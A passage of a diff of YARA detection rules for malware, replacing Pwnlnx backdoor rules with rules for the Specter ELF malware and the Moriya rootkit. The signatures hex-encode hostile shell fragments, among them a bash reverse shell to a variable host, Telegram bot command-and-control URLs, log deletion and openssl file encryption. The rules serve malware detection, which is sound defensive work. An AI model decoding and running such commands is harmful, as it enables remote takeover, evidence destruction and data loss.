5??E9????????83????C39090909090909090909090909083????8B??????53558B??????33??568B??????83????5789??????76??81??????????8B??76??BF????????8B??????8D????03??C1????03??89??????3B??76??8B??????68????????6A??52E8????????8B??????8B??????8B??????505351565752E8????????8B??????8B??8B??????2B??8B??83????03??8B??????83????89??????77??03??0F84????????8B??????8B??????2B??03??3B??89??????75??81??????????77??8A??04??EB??83????77??08????EB??83????77??8A??80????88??EB??8D????C6????463D????????89??????76??8D????B8????????F7??C1????8B??33??8B??8B??C1????F3AB8B??83????03??F3AA8B??????81??????????4A89??????75??8B??????8B??88??468A??88??46424B75??8B??????C6????465FC6????46C6????2B??8B??????4633??89??5E5D5B83????C390909090909090909083????8B??????53558B??????568B??????8D????5789??????8B??????83????73??B8????????2B??EB??33??03??8B??2B??C1????8D??????89??????8B??????8B??????8D????3B??0F83????????8B??8B??69??????????8B??????8B??????C1????33??66??????03??8B??????2B??????89??????66??????8B??3B??0F85????????8B??????C7??????????????2B??8B??????8B??2B??0F84????????83????77??8A????0A??88????8B????89??03??E9????????83????77??8A??2C??88??468B????89??8B????89????8B????89????8B????89????03??E9????????83????77??8A??80????88??46EB??8D????C6????463D????????89??????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??8B??????81??????????4889??????75??8B??????8B??8B??????88??468B????89??8B????89????8B????89????8B????89????83????83????83????83????73??85??76??8A????88??46454B75??BB????????8B????8B????33??75??BB????????03??8B????8B??33??8B??????83????3B??73??8B??2B??????85??75??83????83????8B????8B??33??8B??????3B??72??EB??84??75??C1????4384??74??8B??????8B??03??2B??83????89??????77??3D????????77??4880????8A??80????C0????C0????0A??88??46C1????88??46E9????????3D????????77??4883????89??????77??80????80????EB??83????C6????4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????2D????????83????89??????77??8B??80????C1????80????8A??0A??80????88??46C0????88??46C1????88??46E9????????8B??83????C1????80????80????88??4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????8B??????E9????????8B??????8B??????8B??????2B??89??8B??5F2B??5E5D03??5B83????C390909090909090909090908B??????538B??????55568B??????C7??????????578A??8D????8B??????80????8B??76??81??????????8D????83????8B??83????0F82????????8A??88??40414F75??EB??33??8A??418B??83????0F83????????85??75??80????75??8A????81??????????4184??74??33??8A??418D??????8B??89??83????83????4E74??83????72??8B??89??83????83????83????83????73??85??76??8A??88??40414E75??EB??8A??88??40414E75??33??8A??418B??83????73??33??8B??8A??C1????2B??C1????2B??8A??????????81??????????4188??40478A??88??8A????4088??408A????83????8B??0F84????????8A??88??404183????76??8A??88??404183????76??8A??88??404133??8A??418B??83????72??8B??8B??C1????83????2B??33??8A??C1????2B??4F41C1????4E8A??88??8A????404788??40478A??88??40474E75??EB??83????72??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????8D????66????81??????????C1????2B??83????EB??83????0F82????????8B??8B??83????C1????2B??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????66????81??????????C1????2B??83????3B??74??81??????????83????0F82????????8B??2B??83????0F8C????????8B??89??83????83????83????8B??89??83????83????83????83????73??85??0F86????????8A??88??40474E75??E9????????33??8B??8A??C1????2B??C1????2B??4F41E9????????8B??????2B??3B??89??75??5F5E5D33??5BC31B??5F24??5E5D83????5BC39090909090909090909090909081??????????568B??68????????C7??????????FF??????????83????75??57B9????????33??8D??????66????????????F3AB66AB8D??????5068????????FF??????????83????5F75??6A??68????????FF??????????8B??5E81??????????C390909090909090909090909090568B??E8????????F6????????74??56E8????????83????8B??5EC2????909068????????C7??????????FF??????????85??75??FF??????????C39090909053558B??????5685??5774??8B??????85??74??33??33??33??85??76??8A??????????8A??????????32??80????32??8A????32??33??88????8D????BE????????F7??8D????BF????????8B??33??F7??413B??8B??72??5F5E5D5BC39083????538B??????55565768????????68????????5333??FF??????????8B??85??0F84????????68????????FF??????????8B??B0??88??????88??????8D??????B1??5056C6????????88??????C6????????C6????????C6????????C6????????88??????C6????????C6????????C6????????C6????????FF??????????5753FF??568B??FF??????????85??74??57FF??????????8B??8B??????B9????????8B??68????????50F3A5E8????????83????B8????????5F5E5D5B83????C35F8B??5E5D5B83????C39090538B??????????5657C7??????????8D????BF???????? }
+		$s1 = { 66 6f 72 20 66 69 6c 65 20 69 6e 20 60 66 69 6e 64 20 2f 20 2d 6e 61 6d 65 20 27 2a 2e 73 68 27 20 2d 74 79 70 65 20 66 20 2d 65 78 65 63 20 67 72 65 70 20 2d 6c }
+		$s2 = { 72 6d 20 2d 72 66 20 2f 76 61 72 2f 6c 6f 67 2f 79 75 6d 2a }
+		$s3 = { 69 66 20 72 70 6d 20 2d 71 20 6f 70 65 6e 73 73 6c }
+		$s4 = { 6f 70 65 6e 73 73 6c 20 65 6e 63 20 2d 61 65 73 2d 32 35 36 2d 63 62 63 20 2d 73 61 6c 74 20 2d 70 61 73 73 20 70 61 73 73 3a 24 50 41 53 53 20 2d 69 6e 20 24 66 69 6c 65 20 2d 6f 75 74 20 24 66 69 6c 65 2e e2 98 a2 }
+		$x1 = { 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 27 24 54 4f 4b 45 4e }
+		$x2 = { 4d 53 47 5f 55 52 4c 3d 24 55 52 4c 27 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 27 }
+		$x3 = { 55 50 44 5f 55 52 4c 3d 24 55 52 4c 27 2f 67 65 74 55 70 64 61 74 65 73 3f 6f 66 66 73 65 74 3d 27 }
+		$x4 = { 62 61 73 68 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f 24 49 50 2f 24 50 4f 52 54 20 30 3e 26 31 }
+		$x5 = { 6d 73 67 3d 22 5b 2b 5d 20 53 68 65 6c 6c 20 52 75 6e 6e 69 6e 67 2e 22 }
+		$x6 = { 72 65 73 3d 24 28 63 75 72 6c 20 2d 73 20 2d 58 20 50 4f 53 54 20 24 4d 53 47 5f 55 52 4c 20 2d 64 20 63 68 61 74 5f 69 64 3d 24 49 44 5f 4d 53 47 20 2d 64 20 74 65 78 74 3d 22 44 4f 4e 45 21 21 21 22 20 26 29 }
+		$y1 = { 23 21 2f 62 69 6e 2f 62 61 73 68 }
+		$y2 = { 3b [2-5] 3d 27 [2-5] 27 3b [2-5] 3d 27 [2-5] 27 3b [2-5] 3d 27 [2-5] 27 3b [2-5] 3d 27 [2-5] 27 3b }
+		$y3 = { 65 76 61 6c 20 22 24 [2-5] 24 [2-5] 24 [2-5] 24 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		filesize >1KB and (3 of ($s*) or 5 of ($x*) or all of ($y*))
 }
-import "pe"
-
-rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_1 : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_ELF_Specter_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the backdoor pwnlnx variant 1"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "5b76ca62-460c-5c36-a239-700cc509f2b0"
-		date = "2020-04-17"
-		modified = "2020-08-14"
-		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L3-L33"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "0f6033d6f82ce758b576e2d8c483815e908e323d0b700040fbdab5593fb5282b"
-		logic_hash = "1487890494dde891a6dbe7dff7ebd5660ee01fe10220215e680115f168c2ae4a"
+		description = "Detect the Specter malware"
+		author = "Arkbird_SOLG"
+		id = "24237a56-2717-5efc-9bfb-9ab6d87e082b"
+		date = "2021-07-02"
+		modified = "2021-07-05"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1410870749473148930"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/Specter/MAL_ELF_Specter_Jul_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "de737f051d34edb2219e77c0d4f0239b95bad9983ee5e435d6ee9741525816f0"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Pwnlnx"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0bff46518b35ddfe37f4a7820286aab829d81f1480d9eeca5aaedc9ceda6724f"
+		hash2 = "be97d7ae3b2d876f027d99d8d61dbca92513f4975336c2ebc26cf8a0839b67b6"
+		tlp = "White"
+		adversary = "Specter"
 
 	strings:
-		$bp = { 7F??4C4602??01??000000000000000002??3E????0000????1A????0000000040000000000000??????0000000000000000000040??????????????1D????????0000????????????000000000000??????4000000000??????4000000000????01??00000000????01??00000000????000000000000????0000??????0000????000000000000????4000000000000002????000000001C??0000000000001C??00000000000001??00000000000001??000005????????0000000000000000??????0000000000004000000000????76??00000000????76??000000000000????00000000????0000????0000000080????00000000????????????0000????????????000038??00000000000080??????00000000000020??0000000002??0000060000????80????0000000028??????????000028??????????0000A0????????0000????????????0000????000000000000??????000004??00001C??0000000000001C??4000000000??????4000000000????000000000000????000000000000??????00000000000050E5??6404??00009C6D0000000000009C6D4000000000??????????????0000DC??000000000000DC??00000000000004??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000????6C69????????????2D????????78??78??362D????????6F2E32??04??000010??000001??0000474E5500000000????0000????0000????000000000000????0000??????000001??000006000000000000????000020??0000??????00007D??5A580000000000000000000000000000000000000000000000000000000015????????00000000000000000000??????00000000000082????????00000000000000000000????????????0000????????????00000000000000000000????????????0000??????000012??0000000000000000000062??0000000000006A??000012??000000000000000000001B??0000000000007E??000012??000000000000000000008B??0000000000004902??????00000000000000000000????????????0000????????????00000000000000000000????????00000000??????000012??000000000000000000008E??000000000000F401??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????000000000000000000000000000000000000????0000????000000000000000000000000000000000000??????000012??0000000000000000000025????????0000????????????00000000000000000000????000000000000????0000????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????01??????00000000000000000000??????0000000000006602??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????000000000000????????????00000000000000000000????000000000000????01??????00000000000000000000????000000000000????0000????00000000000000000000????01??00000000????????????00000000000000000000????????????0000????????????00000000000000000000??????000000000000EC01??????00000000000000000000??????0000000000004B01??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????????????0000??????000012??0000000000000000000008??0000000000004302??????00000000000000000000????????????0000??????????????000000000000000000000A??0000000000003F01??????00000000000000000000????????????0000??????000012??00000000000000000000F0????00000000????01??????00000000000000000000??????????????00002F02??????00000000000000000000????01??00000000????????????00000000000000000000????000000000000??????????????0000000000000000000080????00000000????02??????00000000000000000000????000000000000??????000012??0000000000000000000074??000000000000BF????????00000000000000000000????????????0000????02??????00000000000000000000??????000000000000FA0000????00000000000000000000????????????0000??????000012??0000000000000000000011??000000000000A8??000012??0000000000000000000044000000000000??????000012??000000000000000000005A000000000000??????000012??0000000000000000000029??000000000000C6????????00000000000000000000????000000000000????????????00000000000000000000????000000000000????0000????00000000000000000000????????00000000????????????00000000000000000000??????000000000000BC????????00000000000000000000????02??00000000????01??????00000000000000000000??????00000000000034??000012??00000000000000000000A1????????0000????????????00000000000000000000????????????0000??????????????000000000000000000004B000000000000????0000????00000000000000000000????000000000000??????000012??0000000000000000000005????????0000??????000012??0000000000000000000031??00000000000074??000012??00000000000000000000FF??0000000000005E02??????00000000000000000000????000000000000????????????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????02??????00000000000000000000??????000000000000DE??000012??000000000000000000007B??00000000000030??000012??0000000000000000000075??000000000000D9??000012??000000000000000000000E000000000000????????????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????????????00000000000000000000????????????0000????????????00000000000000000000????000000000000????02??????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????????????00000000000000000000??????0000000000005201??????0000????174000000000????00000000000000005F5F676D6F6E5F73??6172??5F5F??????76??52656769????????????6173??6573??6C69????????????61642E????2E30??72??63????72??6D??????68????????5F63????6174????????6E6474????????75??65??????69??????????????6E6F5F6C6F63????69????????????6B????74??72??6164??73??676D6173????????6E6E6563??????74??72??6164??73??6C66??????63????74??70??68????????5F6465????63????6663????6C????????63??73??2E????????63????74??73??72??70????????69????????????????????616E64??????6574??6174??6E??????74??77??69??????????????6469????????????5F6E74??61??????74??72??69??????????????70??????????6D6F6E????????74??6E??????6C6563??????6B????????72??616C6C6F63??676574??69??????????????73??72??6F6B????63????77????????70??6173??72??3634??73??67656D70??79??6574??6D656D73??74??72??6469??????????????????6565??????68????????6173??74??6D65??????74??6F63????70????????616E74??74??6475??32??73??67616464????74??69????????????6472??6663??????65??????74??6F63????70????????6C6C6F63??73??72??6174??72??616C70??74????????6D6F76????????656E6469????????????6C??????74??6F73??62????616D65??????6563??????????72??74????????656164??????6C6F63????74??6C6F63????74??6D65??????616E6469????????????616464??????????????6565????73??74??69????????????????????6D6D6F76????????70??6E3634??5F5F6C69????????????72??5F6D6169????????????73??73??70??69????????????65????????78??74??74??34??474C4942435F32??32??35????????42435F32??33??000002??02??02??03??02??02??02??03??03??02??02??02??0000000002??02??02??02??02??03??02??02??02??02??02??02??02??02??03??02??02??02??04??02??02??03??02??03??02??02??02??03??02??02??02??02??02??03??02??02??02??02??02??02??03??02??02??03??02??02??02??03??02??03??02??03??02??02??02??02??02??02??03??03??03??02??02??02??02??02??000001??01??24??000010??000020??000075??69??????????9602??00000000????????????????????000000000000????69????????????A2????????0000??????69??????????9602??00000000????81????????????060000????????????000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000000082??????0000????0000??????0000000000000000000008??????????0000070000????????????000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000??????6000000000????0000??????000000000000000000004882??????0000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000?????? }
+		$s1 = { 41 57 41 89 cf 41 56 4d 89 c6 41 55 41 89 f5 be 01 00 00 00 41 54 49 89 fc bf 02 00 00 00 55 89 d5 31 d2 53 48 83 ec 38 48 c7 44 24 20 00 00 00 00 48 c7 44 24 28 00 00 00 00 e8 cf bf fe ff be 03 00 00 00 89 c3 89 c7 31 c0 e8 1f c4 fe ff 80 cc 08 be 04 00 00 00 89 df 89 c2 31 c0 e8 0c c4 fe ff 48 8d 74 24 20 89 ea 89 df 66 c1 ca 08 66 89 54 24 22 ba 10 00 00 00 66 c7 44 24 20 02 00 44 89 e8 31 ed 0f c8 89 44 24 24 e8 ae be fe ff 85 c0 0f 84 c5 00 00 00 e8 11 c0 fe ff 83 38 73 48 89 c5 74 07 89 df e8 12 b8 fe ff 8b 6d 00 83 fd 73 0f 85 a5 00 00 00 bf 1c 00 00 00 e8 dc b9 fe ff 48 85 c0 48 89 c2 0f 84 8c 00 00 00 44 89 68 14 89 58 18 4d 8d 6c 24 60 44 89 78 10 41 0f 10 06 4c 89 ef 4d 8d 74 24 50 0f 11 02 0f 29 04 24 48 89 04 24 e8 74 c2 fe ff bf 18 00 00 00 e8 b2 b5 07 00 48 85 c0 74 17 48 8b 14 24 48 c7 00 00 00 00 00 48 c7 40 08 00 00 00 00 48 89 50 10 4c 89 f6 48 89 c7 e8 9b fe 08 00 4c 89 ef e8 0b c3 fe ff 41 8b bc 24 88 00 00 00 48 8d 4c 24 14 89 da be 01 00 00 00 89 5c 24 18 c7 44 24 14 1d 20 00 80 e8 26 bd fe }
+		$s2 = { 55 31 c0 b9 5d 00 00 00 53 48 89 fb 48 81 ec 48 01 00 00 48 8d 7c 24 4e f3 aa 48 8d 7c 24 4e e8 d2 03 00 00 48 8d bc 24 ab 00 00 00 31 c0 b9 07 00 00 00 48 8d 74 24 28 c7 44 24 30 00 00 00 00 48 c7 44 24 38 00 00 00 00 f3 ab 48 8b 84 24 70 01 00 00 48 8d 7c 24 4e 48 89 44 24 40 48 8d 44 24 30 48 89 44 24 28 e8 36 08 00 00 8b 6c 24 30 85 ed 0f 85 89 00 00 00 48 8b 44 24 40 48 8b 00 48 8b 40 e8 48 39 44 24 38 75 76 48 8d bc 24 c7 00 00 00 31 c0 b9 5d 00 00 00 f3 aa 48 8d bc 24 c7 00 00 00 e8 4d 03 00 00 48 8d bc 24 24 01 00 00 b9 07 00 00 00 89 e8 48 8d 94 24 c7 00 00 00 48 8d 74 24 4e f3 ab 48 8d 7b 18 e8 64 26 00 00 b9 08 00 00 00 48 89 e7 48 8d b4 24 60 01 00 00 f3 a5 48 8d b4 24 c7 00 00 00 89 c2 48 89 df e8 6e fb ff ff 48 8d bc 24 c7 00 00 00 e8 e3 03 00 00 48 8d 7c 24 4e e8 d9 03 00 00 48 81 c4 }
+		$s3 = { 83 fa 03 0f 86 e6 00 00 00 41 57 41 56 41 55 41 54 49 89 cc 55 48 89 fd 53 48 89 f3 48 83 ec 28 66 8b 46 04 44 8b 76 0c 44 8b 3e 66 89 44 24 0c 66 8b 46 06 45 8d 6e 01 44 89 7c 24 08 44 89 74 24 14 66 89 44 24 0e 8b 46 08 4c 89 ef 89 44 24 10 e8 f4 b3 fe ff 48 89 c2 48 89 44 24 18 4c 89 e9 31 c0 48 89 d7 48 8d 73 10 f3 aa 48 89 d7 4c 89 f1 f3 a4 44 89 fe 48 89 ef e8 9b fa ff ff ff c0 74 07 4c 89 e1 31 d2 eb 4b 66 83 7c 24 0e 03 75 21 48 8b 74 24 18 48 8d 54 24 10 48 89 ef e8 d4 f8 ff ff 84 c0 75 0b e8 ad b9 fe ff 8b 00 85 c0 75 18 0f b7 54 24 0c 8b 4c 24 08 4d 89 e0 8b 74 24 10 48 89 ef e8 e1 f8 ff ff 83 f8 73 74 11 4c 89 e1 89 c2 8b 74 24 08 48 89 ef e8 ff fe ff ff 48 83 }
+		$s4 = { 48 8d 05 5a 5f 0b 00 48 89 84 24 80 00 00 00 48 8b 05 cf 75 30 00 be 18 00 00 00 bf 01 00 00 00 ff 10 48 85 c0 48 89 84 24 98 00 00 00 0f 84 fa fc ff ff 4c 8d bc 24 98 00 00 00 48 8b 54 24 60 48 8d 35 00 2b 0b 00 31 c0 4c 89 ff e8 2c ef ff ff 85 c0 0f 85 f4 fb ff ff 49 8b b5 f8 0d 00 00 48 85 f6 0f 84 13 09 00 00 31 ed 41 0f b7 86 ac 03 00 00 66 25 20 40 66 83 f8 20 0f 84 03 09 00 00 80 7c 24 78 00 0f 84 01 07 00 00 49 8b 8e 18 02 00 00 49 8b 96 10 02 00 00 4c 8d 46 06 48 8d 35 a6 2a 0b 00 4c 89 ff 31 c0 e8 ce ee ff ff 85 c0 0f 85 96 fb ff ff 41 0f b7 86 ac 03 00 00 4c 8d 25 42 eb 0a 00 66 25 20 40 66 83 f8 20 0f 84 55 0b 00 00 49 83 bd f8 0e 00 00 00 48 8d 05 25 eb 0a 00 74 0e 49 8b 96 30 04 00 00 48 85 d2 48 0f 45 c2 49 8b 95 68 0c 00 00 48 8d 35 07 eb 0a 00 48 85 d2 74 13 80 3a 00 74 0e 49 8b 96 18 04 00 00 48 85 d2 48 0f 45 f2 49 8b 96 50 04 00 00 48 8d 0d e1 ea 0a 00 48 85 d2 48 0f 44 d1 49 89 d3 48 8b 54 24 50 48 8b 52 20 48 85 d2 48 0f 44 d1 49 89 d2 49 8b 95 50 0d 00 00 48 85 d2 74 13 80 3a 00 74 0e 49 8b 96 10 04 00 00 48 85 d2 48 0f 45 ca 41 f6 85 85 15 00 00 02 48 8d 2d 96 ea 0a 00 74 0e 49 8b 96 28 04 00 00 48 85 d2 48 0f 45 ea 49 8b be 20 04 00 00 48 8d 15 78 ea 0a 00 4d 8b 8e 08 04 00 00 4d 8b 86 38 04 00 00 48 89 4c 24 10 48 8b 8c 24 80 00 00 00 48 89 74 24 28 48 8d 35 f6 23 0b 00 48 85 ff 4c 89 5c 24 20 4c 89 54 24 18 48 0f 44 fa 4d 85 c9 48 89 44 24 30 48 89 7c 24 60 48 8b 7c 24 70 4c 0f 44 ca 4d 85 c0 48 89 6c }
+		$s5 = { 8b 44 24 50 4d 85 ff 4c 89 38 0f 85 12 f8 ff ff e9 dc f9 ff ff 0f 1f 84 00 00 00 00 00 49 83 bd 68 0c 00 00 00 0f 84 bb f7 ff ff 48 8b 05 e3 6f 30 00 49 8b be 18 04 00 00 ff 10 49 8b b5 68 0c 00 00 48 8d 3d ae 26 0b 00 31 c0 49 c7 86 18 04 00 00 00 00 00 00 e8 22 9b 00 00 48 85 c0 49 89 86 18 04 00 00 0f 85 96 f7 ff ff e9 1d f9 ff ff 0f 1f 44 00 00 41 80 bd ea 0e 00 00 00 48 8d 05 01 26 0b 00 48 89 44 24 60 0f 88 2f f6 ff ff 83 fb 07 0f 87 2a 01 00 00 48 8d 05 76 28 0b 00 89 da 48 63 14 90 48 01 d0 ff e0 0f 1f 00 4c 8b 7c 24 50 49 8b 3f e8 e3 fa fe ff 85 c0 0f 85 eb f7 ff ff 49 8b 3f e8 f3 fa fe ff 49 89 47 08 e9 1e f9 ff ff 66 2e 0f 1f 84 00 00 00 00 00 49 8b b6 d0 00 00 00 49 8b bd f0 10 00 00 e8 5d cf 00 00 85 c0 0f 85 91 f9 ff ff 49 8b 86 d8 03 00 00 45 8b 86 98 01 00 00 8b 80 80 00 00 00 a8 02 74 0d 41 81 f8 bb 01 00 00 0f 84 b9 01 00 00 a8 01 74 0a 41 83 f8 50 0f 84 ab 01 00 00 41 0f b6 86 ad 03 00 00 48 8d 0d 2e e7 0a 00 48 8d 15 8a 1c 0b 00 48 8d 3d de 25 0b 00 48 89 ce 83 e0 02 48 8d 05 3c 07 0b 00 48 0f 45 ca 48 8b 54 24 58 48 0f 45 f0 31 c0 e8 14 9a 00 00 49 89 86 38 04 00 00 48 85 c0 0f 85 99 f9 ff ff e9 0f f8 ff ff 48 8d 05 05 25 0b 00 48 89 44 24 60 e9 2f f5 ff ff 48 8d 05 ef 24 0b 00 48 89 44 24 60 e9 1e f5 ff ff 48 8d 05 56 cd 0a 00 48 89 44 24 60 e9 0d f5 ff ff 48 8d 05 d6 24 0b 00 48 89 44 24 60 e9 fc f4 ff ff 48 8d 05 0e d1 0a 00 48 89 44 24 60 e9 eb f4 ff ff 66 2e 0f 1f 84 00 00 00 00 00 49 8b 86 d0 03 00 00 f6 80 80 00 00 00 03 74 28 8d 43 fd 83 f8 01 0f 86 6a 02 00 00 41 f6 85 eb 0e 00 00 01 74 12 49 83 bd f8 14 00 00 ff 0f 84 62 02 00 00 0f 1f 40 00 41 80 a5 68 06 00 00 bf 48 8d 05 44 e6 0a 00 41 f6 85 68 06 00 00 40 48 89 c1 48 8d 05 60 24 0b 00 48 0f 44 c1 48 89 44 24 70 e9 01 f8 ff ff 66 0f 1f 84 00 00 00 00 00 83 7f 18 04 4c 8d 3d f3 0a 0b 00 }
 
 	condition:
-		uint16(0)==0x457f and filesize <100KB and all of them
+		uint32(0)==0x464c457f and filesize >100KB and 4 of ($s*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_2 : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Moriya_May_2021_2 : FILE
 {
 	meta:
-		description = "Rule to detect the backdoor pwnlnx variant 2"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "c4ee686b-49d9-5566-b749-1144a19c1fee"
-		date = "2020-04-17"
-		modified = "2020-08-14"
-		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L35-L65"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "08cc67002782cbafd97a4bff549d25dd72d6976d2fdf79339aaf5a3ff7c3107e"
-		logic_hash = "08ea40ba72677263a41f62097fc38040361ba595d67cb04979b66548c7f4d271"
+		description = "Detect Moriya rootkit used in the TunnelSnake operation"
+		author = "Arkbird_SOLG"
+		id = "25cecff1-94f9-5e8d-8758-9b891e9d7373"
+		date = "2020-05-26"
+		modified = "2021-05-27"
+		reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_2.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "11ef00940604c3337b1c8c00903297343cfd4e8f3899b949d58e4203ab68d3fd"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Pwnlnx"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "ce21319bd21f76ab0f188a514e8ab1fe6f960c257475e45a23d11125d78df428"
+		tlp = "White"
+		adversary = "Chinese APT Group"
 
 	strings:
-		$bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????00000000000088????????????00000000??????38??05????????????????0000????????????0000000000000000??????0000000000004000000000??????0D??????????????0D????????0000????00000000????0000????0000????????????0000????????????0000????????????0000????12??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????????00000000????????00000000??????000000000000070000??????000080??????0000000080??????0000000080??????0000000028??00000000000070??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55????????????CC78??78??83????????????CB371F0000000080??????0000000025????????0000????7E??00000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000??????4200000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????76??00000000????????????0000????8B????00000000C8??????0000000025????????0000??????4200000000????76??00000000????????????0000????444200000000????76??00000000????????????0000??????4900000000????76??00000000????????????0000??????4600000000????76??00000000????????????0000????424200000000??????EC08??33??0000E8????????E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090554889??534883????80????????????75??BB????????488B??????????4881??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??B8????????4885??74??BF????????E8????????C6????????????4883????5BC9C30F1F????????????55B8????????4885??4889??74??BE????????BF????????E8????????4883????????????74??B8????????4885??74??BF????????C9FF??0F1F??????????C9C39090554889??534881??????????89??????????48C7????????????8B????3D????????0F87????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????BA????????488D??????????4889??4889??E8????????4889????4883??????0F84????????488D??????????488D??????????4889??4889??E8????????85??0F85????????488B??????????4889????C7????????????488B????89????488B????48C1????89????488B????4889????488B????4889??????488B????4889??????E8????????89????BE????????488D????E8????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????BE????????488D????E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??0F85????????8B????89??4889??48C1????8B????89??488D????4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7E??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??74??8B????48984801????488B????483B????7C??EB??90EB??90EB??90EB??90EB??90EB??90488B????4889??E8????????EB??90EB??90EB??90B8????????4881??????????5BC9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????0F84????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????488B????4889????488B????4889??????488B????4889??????E8????????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??0F84????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??0F84????????488D????8B????BA????????4889??89??E8????????85??74??488D????BE????????4889??E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??75??8B????83????75??8B????488B??